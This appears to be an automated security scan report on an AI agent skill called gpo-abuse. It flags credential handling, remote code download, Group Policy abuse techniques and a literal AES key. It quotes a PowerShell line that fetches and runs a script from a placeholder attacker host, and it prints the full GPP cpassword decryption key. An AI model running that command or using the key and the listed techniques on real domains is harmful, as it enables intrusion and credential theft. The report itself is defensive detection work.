gpo-abuse

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The prompt explicitly requires the agent to report "New credentials or tokens found" in its return summary and to save evidence files (e.g., ssrf-aws-creds.json), which forces the LLM to handle and potentially output secret values verbatim.

---

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Suspicious — http://ATTACKER/shell.ps1 is a direct, untrusted HTTP-hosted PowerShell script (a high-risk delivery vector), and although https://github.com/cogiceo/GPOHound is a GitHub repo for GPO auditing, GitHub-hosted offensive tools and their releases can be used to distribute malware or bootstrap attacks, so the combination represents a suspicious download source.

---

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). Contains detailed, actionable steps to exploit writable Group Policy Objects for code execution, persistence, privilege escalation, lateral movement, and credential/secret theft (reverse shells, remote payload retrieval, logon/SYSVOL poisoning, local admin/user-right assignments, GPP cpassword decryption), which are high-risk abuse/backdoor techniques.

---

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill contains commands that, at runtime, fetch and execute remote code (e.g., IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')), indicating a runtime external URL used to directly execute remote code.

---

HIGH W008: Secret detected in skill content (API keys, tokens, passwords).

• Secret detected (high risk: 1.00). I scanned the skill for literal/high-entropy values that could provide access.

Flagged:

• The AES key string "4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b" is a 64-hex-character, high-entropy literal key included in the doc and is usable to decrypt Group Policy Preferences cpassword values. It is therefore a real, usable secret (even though historically published by Microsoft, it remains a literal key that grants the ability to recover stored passwords).

Ignored items and why:

• "CPASSWORD_BASE64", "BASE64_PAYLOAD", "ATTACKER/shell.ps1", "http://ATTACKER/..." etc. are placeholders or example payload locations — not literal secrets.
• "Password123" shown as a manspider example is a low-entropy example/test password and falls under documentation/setup examples, so ignored.
• Other tokens like ":NTHASH", "KRB5CCNAME=user.ccache", "DOMAIN/user@DC.DOMAIN.LOCAL", and usernames such as "attacker" are placeholders or parameter names, not secret values.

No private key blocks, API keys, or other high-entropy credentials were present besides the AES key above.

---

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). Flagged because the prompt explicitly instructs modifying system-wide Group Policy and SYSVOL files, creating scheduled tasks/startup/logon scripts that run as SYSTEM, adding local admin accounts and user rights, and includes commands that require elevated privileges (e.g., writing to SYSVOL, changing GPOs, gpupdate, and sudo ntpdate/rdate), all of which modify the machine state and can compromise the host.